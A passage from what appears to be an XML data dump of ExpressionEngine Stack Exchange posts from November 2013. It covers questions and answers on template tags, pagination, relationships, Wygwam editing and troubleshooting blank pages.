name=&quot;actualdata&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;4&quot;}&#xA;            {exp:calendar:cal event_id=&quot;{stash:eventids}&quot; sort=&quot;asc&quot; date_range_start=&quot;today&quot;  show_months=&quot;3&quot; pad_short_weeks=&quot;n&quot; event_limit=&quot;5&quot;}&#xA;                {if event_count == 1}&amp;lt;ul&amp;gt;{/if}&#xA;                    &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;                {if event_total == &quot;{event_count}&quot;}&amp;lt;/ul&amp;gt;{/if}&#xA;                {if calendar_no_results}&#xA;                    No Events&#xA;                {/if}&#xA;            {/exp:calendar:cal}&#xA;        {/exp:stash:set}&#xA;    {/case}&#xA;    {case value=&quot;&quot;}&#xA;        {exp:stash:set name=&quot;actualdata&quot;}&#xA;            No Events&#xA;        {/exp:stash:set}&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you just stash:get your actualdata for whereever you stash:set your main content for your wrapper template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If what I described to you with the workflow being off makes sense, this all still works with one slight change. You just have to change the children_ids to parent_ids once you put the Playa tag in the Calendar Events channel.&lt;/p&gt;&#xA;" OwnerUserId="145" LastActivityDate="2013-11-09T00:03:38.210" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15602" PostTypeId="2" ParentId="15597" CreationDate="2013-11-09T00:46:59.690" Score="1" Body="&lt;p&gt;Something like this with Stash should do the trick: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot;}&#xA;    {categories}&#xA;        {exp:stash:append_list name=&quot;item_{category_id}&quot;}&#xA;            {stash:title}{title}{/stash:title}&#xA;        {/exp:stash:append_list}&#xA;    {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;news&quot; style=&quot;linear&quot;}&#xA;    &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {exp:stash:get_list name=&quot;item_{category_id}&quot;}&#xA;            &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;        {/exp:stash:get_list}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-09T00:46:59.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15603" PostTypeId="2" ParentId="15562" CreationDate="2013-11-09T00:53:04.200" Score="0" Body="&lt;p&gt;This sounds like a bug so the first thing to try is update your ExpressionEngine version to the most current version which is 2.7.2&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-09T00:53:04.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15604" PostTypeId="2" ParentId="14947" CreationDate="2013-11-09T05:10:28.263" Score="2" Body="&lt;p&gt;Depending how many entries need updating you can always bulk assign a category to multiple entries from the main edit page. &lt;/p&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-11-09T05:10:28.263" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15605" PostTypeId="2" ParentId="15562" CreationDate="2013-11-09T06:27:22.623" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;For security reasons, extra headers for the mail() function have been disabled, please contact support for more information&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It sounds like your web host has disabled parts of PHP's mail function. You could try using one of the other mail delivery options (e.g. SMTP), or otherwise I would get in touch with your web host and ask them what they recommend.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-09T06:27:22.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15606" PostTypeId="2" ParentId="14453" CreationDate="2013-11-09T08:06:02.803" Score="0" Body="&lt;p&gt;I'm not able to comment as yet, so 'commenting' here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The accepted answer and especially sonictombs comment on that answer really helped me.  I had just updated a website from EE1 to EE2.7.2.  All was fine, till I changed a word in an entry on the home page - which promptly disappeared.  I saw this comment, dived in and it solved the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked my other channels and some had the default status group assigned and some did not, so had to check each individually.  I could see no obvious correlation to other assignments... hope this is helpful!&lt;/p&gt;&#xA;" OwnerUserId="2221" LastEditorUserId="2221" LastEditDate="2013-11-09T08:17:05.630" LastActivityDate="2013-11-09T08:17:05.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15609" PostTypeId="1" CreationDate="2013-11-09T10:01:03.040" Score="1" ViewCount="379" Body="&lt;p&gt;How can I set total row count in pagination using &lt;code&gt;exp:channel&lt;/code&gt;. Hope limit will limit the result per page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we set the total row limit?&lt;/p&gt;&#xA;" OwnerUserId="2126" LastEditorUserId="28" LastEditDate="2013-11-09T17:29:52.483" LastActivityDate="2013-11-09T17:40:51.317" Title="EE pagination how to set limit and total rows" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15610" PostTypeId="2" ParentId="9634" CreationDate="2013-11-09T11:54:40.427" Score="4" Body="&lt;p&gt;So here's what I've found out:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE uses an INT database field to store a UNIX timestamp&lt;/li&gt;&#xA;&lt;li&gt;Because of this, EE can display dates back to about 1901&lt;/li&gt;&#xA;&lt;li&gt;Switching the database field from INT to BIGINT fixes the problem, but can &lt;a href=&quot;http://ronaldbradford.com/blog/bigint-v-int-is-there-a-big-deal-2008-07-18/&quot; rel=&quot;nofollow&quot;&gt;dramatically increase&lt;/a&gt; the size of that database table&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I discovered the INT vs BIGINT fix through a web search and tested it with success. I submitted a &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19861&quot; rel=&quot;nofollow&quot;&gt;bug report&lt;/a&gt; (login required) with EllisLab about it proposing the fix. I am appreciative that they researched it and came to the conclusion that the potential for a dramatically increased database table is not in the best interest of most of its users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their solution: create a custom field type using the code from their date field type and changing INT to BIGINT for the newly-created custom field type. That seems both easy enough and reasonable to me. &lt;/p&gt;&#xA;" OwnerUserId="1016" LastActivityDate="2013-11-09T11:54:40.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15611" PostTypeId="2" ParentId="15597" CreationDate="2013-11-09T11:55:00.630" Score="2" Body="&lt;p&gt;You can use the &lt;code&gt;category_archive&lt;/code&gt; tag for this unless I've misunderstood your question: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/category_archive.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/category_archive.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-11-09T11:55:00.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15612" PostTypeId="2" ParentId="15579" CreationDate="2013-11-09T15:21:05.590" Score="1" Body="&lt;p&gt;There are a few different approaches to this. In my opinion I don't think this is an appropriate use of categories: rather, I would use a custom PT checkbox-group field called 'options', or alternatively use the 'sticky' functionality. Here's how you could use a PT checkbox group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list&#xA;    name=&quot;data&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    parse_conditionals=&quot;yes&quot;&#xA;    parse_depth=&quot;2&quot;&#xA;}   &#xA;    {exp:channel:entries&#xA;         channel=&quot;internal_adverts&quot;&#xA;         dynamic=&quot;no&quot;&#xA;         orderby=&quot;random&quot;&#xA;    }&#xA;        {if {options:selected option=&quot;urgent&quot;}}&#xA;            {exp:stash:set_value name=&quot;urgent&quot; value=&quot;true&quot;}&#xA;        {/if}&#xA;&#xA;        {stash:options}{options}{/stash:options}&#xA;        {stash:url_title}{url_title}{/stash:url_title}&#xA;        {stash:advert_title}{title}{/stash:advert_title}&#xA;        {stash:short_description}{short_description}{/stash:short_description}&#xA;        {stash:homepage_image}{homepage_image}{/stash:homepage_image}&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- ==============================&#xA;TEST OUTPUT &#xA;=================================== --}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;&#xA;    {if &quot;{exp:stash:urgent}&quot;}&#xA;        {exp:stash:get_list name=&quot;data&quot; match=&quot;#Urgent#&quot; against=&quot;options&quot; limit=&quot;1&quot;}&#xA;            &amp;lt;h3&amp;gt;Skirmish mode! Just show {advert_title}&amp;lt;/h3&amp;gt;&#xA;        {/exp:stash:get_list}&#xA;    {if:else}&#xA;        &amp;lt;h3&amp;gt;Regular mode, loop through all ads:&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;        {exp:stash:get_list name=&quot;data&quot;}&#xA;            &amp;lt;li&amp;gt;{advert_title}&amp;lt;/li&amp;gt;&#xA;        {/exp:stash:get_list}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    {/if}&#xA;&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are a few further examples of using these kind of 'switches' in Stash in my level-1 tutorial here: &lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine-stash-tutorial-level-1#switches&quot; rel=&quot;nofollow&quot;&gt;http://www.jamessmith.co.uk/articles/expressionengine-stash-tutorial-level-1#switches&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2013-11-09T15:26:40.220" LastActivityDate="2013-11-09T15:26:40.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15613" PostTypeId="2" ParentId="15609" CreationDate="2013-11-09T17:32:21.137" Score="3" Body="&lt;p&gt;To display the total rows across all the pages of your pagination, you use &lt;code&gt;{absolute_results}&lt;/code&gt; which can be &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#absolute-results&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;found here in the EE Docs&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This variable will always display the absolute total number of results&#xA;  that are returned by the tag, regardless of pagination.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;limit=&quot;&quot;&lt;/code&gt; parameter is used to show a set number of entries per pagination page. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#limit&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Docs here&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This parameter limits the number of entries on any given page. The&#xA;  limit will default to 100 entries if a value is not specified. If you&#xA;  are using pagination then this will determine the number of entries&#xA;  shown per page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-09T17:40:51.317" LastActivityDate="2013-11-09T17:40:51.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16613" PostTypeId="1" CreationDate="2013-11-09T19:48:31.800" Score="1" ViewCount="93" Body="&lt;p&gt;I find myself spending a lot of time when I have to create blog posts with code examples in them. What's the fastest way to do this? Is there a plugin that does it easier and faster?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;a href=&quot;http://julianomoreira.com/notebook/article/php-mail-and-mac-os-x-mountain-lion&quot; rel=&quot;nofollow&quot;&gt;http://julianomoreira.com/notebook/article/php-mail-and-mac-os-x-mountain-lion&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It took me a while. Would you share your workflow? &lt;/p&gt;&#xA;" OwnerUserId="1961" LastEditorUserId="28" LastEditDate="2013-11-10T15:16:16.060" LastActivityDate="2013-11-11T02:01:03.947" Title="What's the fastest way to post code to a blog post?" Tags="|channel-entries|channel|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16614" PostTypeId="2" ParentId="15199" CreationDate="2013-11-09T20:34:26.847" Score="2" Body="&lt;p&gt;there is a hidden variable; john, the guy who has written this addon 2 years ago (and btw. is responsible for the most nice Minimee), has mentioned it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the file system/expressionengine/config/config.php try&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cp_session_ttl'] = 60000;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the number is the time in seconds.&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2013-11-09T20:34:26.847" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16615" PostTypeId="2" ParentId="15220" CreationDate="2013-11-09T20:42:21.720" Score="1" Body="&lt;p&gt;Yes, this absolutely sucks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a workaround, try the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) In the CP under addons -&gt; modules -&gt; Wygwam -&gt; editor configuration (your actual configuration, click on the name) specify a file in the field &quot;css file&quot;, if you not already did so. probably it makes sense to store it in a folder themes/third_party/wygwamAssets (but this has no effect on functionality).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) create this file and enter some code to make the table-border visible, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;table, td, tbody, tr, td span { border : 1px solid black;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;maybe you have to clear your browsers cache to see the effect. for me this worked.&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2013-11-09T20:42:21.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16616" PostTypeId="1" CreationDate="2013-11-09T20:45:32.827" Score="0" ViewCount="168" Body="&lt;p&gt;Can anyone tell me what I'm doing wrong here? Nothing displays at all. content_elements it the name of my content elements custom field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {content_elements}&#xA;&#xA;  {wygwam}&#xA;  {if &quot;{element_name}&quot; == &quot;Content Left Side&quot; OR &quot;{element_name}&quot; == &quot;Content Right Side&quot; }&#xA;      &amp;lt;div class=&quot;col-lg-6&quot;&amp;gt;&#xA;         {value}&#xA;      &amp;lt;/div&amp;gt;&#xA;      {if:else}&#xA;        &amp;lt;div class=&quot;col-lg-12&quot;&amp;gt;&#xA;            {value}&#xA;        &amp;lt;/div&amp;gt;&#xA;   {/if}&#xA;   {wygwam}&#xA;&#xA;{/content_elements}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-11-09T21:54:31.207" Title="Content Elements wygwam not displaying" Tags="|wygwam|content-elements|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16617" PostTypeId="2" ParentId="16616" CreationDate="2013-11-09T21:54:31.207" Score="1" Body="&lt;p&gt;Your closing &lt;code&gt;wygwam&lt;/code&gt; tag needs a forward slash &lt;code&gt;/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{content_elements}&#xA;&#xA;  {wygwam}&#xA;  {if &quot;{element_name}&quot; == &quot;Content Left Side&quot; OR &quot;{element_name}&quot; == &quot;Content Right Side&quot; }&#xA;      &amp;lt;div class=&quot;col-lg-6&quot;&amp;gt;&#xA;         {value}&#xA;      &amp;lt;/div&amp;gt;&#xA;      {if:else}&#xA;        &amp;lt;div class=&quot;col-lg-12&quot;&amp;gt;&#xA;            {value}&#xA;        &amp;lt;/div&amp;gt;&#xA;   {/if}&#xA;   {/wygwam}&#xA;&#xA;{/content_elements}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-09T21:54:31.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16619" PostTypeId="2" ParentId="16613" CreationDate="2013-11-10T04:03:14.087" Score="2" Body="&lt;p&gt;Checkout the EE syntax plugin from Eric Lamb at Mithra62:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/ee-syntax&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/ee-syntax&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that will help you do what you are looking for. It formats code based on the geshi library and supports a number of different syntax highlighting formats. &lt;/p&gt;&#xA;" OwnerUserId="125" LastActivityDate="2013-11-10T04:03:14.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16620" PostTypeId="1" CreationDate="2013-11-10T05:44:13.433" Score="0" ViewCount="39" Body="&lt;p&gt;I have a radio button relationship field that needs to have a default already selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set the default selected item for a relationship field?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-11-10T05:44:13.433" Title="Setting a default for a relationship field" Tags="|relationships|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16621" PostTypeId="2" ParentId="15575" CreationDate="2013-11-10T08:30:52.053" Score="1" Body="&lt;p&gt;I have now found the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Cartthrob update this Expression Engine check returns true when comparing the update version to a much older 2.02xxx version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;version_compare($this-&amp;gt;current, $version, '&amp;lt;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So updating to 2.4 from 2.3 will execute updates associated with 2.02xxx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems the EE version_compare script does not work when you have more than 2 digits after the dot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So 2.02 works, 2.027 does not (or maybe it was 3 digits I cant remember). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This maybe a EE 2.7 issue, or Carttrhob using bad version numbers! I dont know. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for us to update Cartthrob we first had to restore an older database due to all the failed updates changes, then had to change the update script to remove any updates with &quot;bad&quot; version numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this post helps others due to no Cartthrob forum existing anymore.&lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2013-11-10T08:39:48.847" LastActivityDate="2013-11-10T08:39:48.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16622" PostTypeId="1" CreationDate="2013-11-10T12:05:25.673" Score="2" ViewCount="123" Body="&lt;p&gt;how to get the sort number in relationship tag?&#xA;the sort number is store in &quot;order&quot; in exp_relationships.&#xA;I need it to sort my data. but have no idea how to retrieve it.&lt;/p&gt;&#xA;" OwnerUserId="2256" LastActivityDate="2013-11-10T20:58:15.897" Title="Multiple Relationship Fields sort" Tags="|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16623" PostTypeId="2" ParentId="16613" CreationDate="2013-11-10T15:19:13.090" Score="3" Body="&lt;p&gt;If you have Wygwam installed, I'd recommend taking a look at GWCode SyntaxHighlighter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gwcode.com/add-ons/gwcode-syntaxhighlighter&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-syntaxhighlighter&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's served me well for years now, and since it's integrated as a Wygwam toolbar button, it allows you to mix prose and code all in one single field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="486" LastActivityDate="2013-11-10T15:19:13.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16624" PostTypeId="1" CreationDate="2013-11-10T20:15:48.853" Score="1" ViewCount="149" Body="&lt;p&gt;I have this issue after upgrading from EE 2.5.5 to 2.7.2. The new EE method to reset the password gives the right page, but after having submitted the reset form all I get just a blank homepage. Those are POST info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ACT {AID:Member:send_reset_token}&#xA;FROM    &#xA;email   myemail@email.com&#xA;site_id 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any idea on how I can debug this? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="740" LastActivityDate="2013-11-10T20:15:48.853" Title="blank page after password request submit" Tags="|email|password|forgot-password|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16625" PostTypeId="1" CreationDate="2013-11-10T20:43:57.330" Score="1" ViewCount="600" Body="&lt;p&gt;I'm going from hosting my site on Media Temple to hosting with Go Daddy. Everything should be 100% working, but it's just loading a blank page. They said the hosting and PHP index file are working on their end, that &quot;there must be something in the code&quot; that needs to be updated to tell it to display. Before, I went in and changed the database name and login info to match what I setup with Go Daddy, but do I need to update any reference lines or redirect anything? Please help! Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2342" LastActivityDate="2013-11-10T20:43:57.330" Title="Hosting EE on GoDaddy.com" Tags="|hosting|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16626" PostTypeId="2" ParentId="16622" CreationDate="2013-11-10T20:58:15.897" Score="3" Body="&lt;p&gt;As posted here -- &lt;a href=&quot;http://www.blue-dreamer.co.uk/blog/entry/ee2.6-new-relationship-tags&quot; rel=&quot;nofollow&quot;&gt;http://www.blue-dreamer.co.uk/blog/entry/ee2.6-new-relationship-tags&lt;/a&gt; -- you can use these variations of &lt;code&gt;{count}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related Entries&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{custom_field}&#xA;{if custom_field:count == &quot;1&quot;}&#xA;&amp;lt;h2&amp;gt;Related&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;{/if}&#xA;&amp;lt;li&amp;gt;{custom_field:title}&amp;lt;/li&amp;gt;&#xA;{if custom_field:count == custom_field:total_results}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;{if custom_field:no_results}No related entries{/if}&#xA;{/custom_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Parent Entries&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents field=&quot;custom_field&quot;}&#xA;{if parents:count == &quot;1&quot;}&#xA;&amp;lt;h3&amp;gt;Parents&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;{/if}&#xA;&amp;lt;li&amp;gt;{parents:title}&amp;lt;/li&amp;gt;&#xA;{if parents:count == parents:total_results}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;{if parents:no_results}No parent entries{/if}&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sibling Entries&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{siblings field=&quot;custom_field&quot;}&#xA;{if siblings:count == &quot;1&quot;}&#xA;&amp;lt;h3&amp;gt;Siblings&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;{/if}&#xA;&amp;lt;li&amp;gt;{siblings:title}&amp;lt;/li&amp;gt;&#xA;{if siblings:count == siblings:total_results}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;{if siblings:no_results}No results{/if}&#xA;{/siblings}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-10T20:58:15.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16627" PostTypeId="2" ParentId="13739" CreationDate="2013-11-10T21:48:17.063" Score="7" Body="&lt;p&gt;If you are seeing a white screen there's an error happening and you need to display that error to be able to know how to proceed. (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/troubleshooting/general/blank_pages.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;See the EE user guide about Blank Pages&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To show that error, edit your folder's index.php file and replace &lt;code&gt;$debug = 0&lt;/code&gt; with &lt;code&gt;$debug = 1&lt;/code&gt;. Revisit your site and you should see the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you see something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Unable to connect to your database server using the provided settings.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then follow &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14831/database-error-unable-to-connect-to-your-database-server-using-the-provided-se/14832#answer-14832&quot;&gt;this answer on another question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't help, try the solutions offered in &lt;a href=&quot;https://expressionengine.stackexchange.com/a/1081/69&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-11-10T21:48:17.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16628" PostTypeId="1" CreationDate="2013-11-10T23:21:35.980" Score="1" ViewCount="108" Body="&lt;p&gt;Is it possible to use the new EE 2.6 native relationships in parcels.  I cant seem to get it to work... tried a few different syntax styles?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your application for {parcel:application_related_fair}{application_related_fair:title}{/parcel:application_related_fair}has been submitted and will be reviewed shortly.&#xA;&#xA;Your application for {parcel:application_related_fair}{parcel:application_related_fair:title}{/parcel:application_related_fair}has been submitted and will be reviewed shortly.&#xA;&#xA;Your application for {parcel:application_related_fair}{title}{/parcel:application_related_fair}has been submitted and will be reviewed shortly.&#xA;&#xA;Your application for {parcel:application_related_fair:title} has been submitted and will be reviewed shortly.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;none of these seem to work?&lt;/p&gt;&#xA;" OwnerUserId="727" LastActivityDate="2016-06-01T18:15:11.740" Title="Relationships in Postmaster Parcel" Tags="|postmaster|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16630" PostTypeId="1" CreationDate="2013-11-11T02:50:36.967" Score="2" ViewCount="371" Body="&lt;p&gt;I have this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {embed=&quot;common/.get-gender-url-title&quot; chosen_gender_id=&quot;{exp:stash:get name='chosen_gender_id'}&quot;} != 'male'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected '{' in .../system/expressionengine/libraries/Functions.php(679) : eval()'d code on line 138&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I tried this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{embed=&quot;common/.get-gender-url-title&quot; chosen_gender_id=&quot;{exp:stash:get name='chosen_gender_id'}&quot;}&quot; != 'male'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I get this error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: User Warning&#xA;Message: Invalid EE Conditional Variable: {if &quot;embed=&quot;common/.get-gender-url-title&quot; chosen_gender_id=&quot;2&quot;}&#xA;Filename: libraries/Functions.php&#xA;Line Number: 2761&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What do I need to do to make these code block work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: This is the contents of the embed file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;\r|\n|\t&quot; replace=&quot;&quot; regex=&quot;yes&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;genders&quot;&#xA;        disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        orderby=&quot;entry_id&quot;&#xA;        sort=&quot;asc&quot;&#xA;    }&#xA;        {if '{embed:chosen_gender_id}' == entry_id}&#xA;            {url_title}&#xA;        {/if}&#xA;    {/exp:channel:entries}&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastEditorUserId="28" LastEditDate="2013-11-13T16:47:51.670" LastActivityDate="2013-11-13T16:47:51.670" Title="Embed, Stash Conditionals problem" Tags="|stash|embeds|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
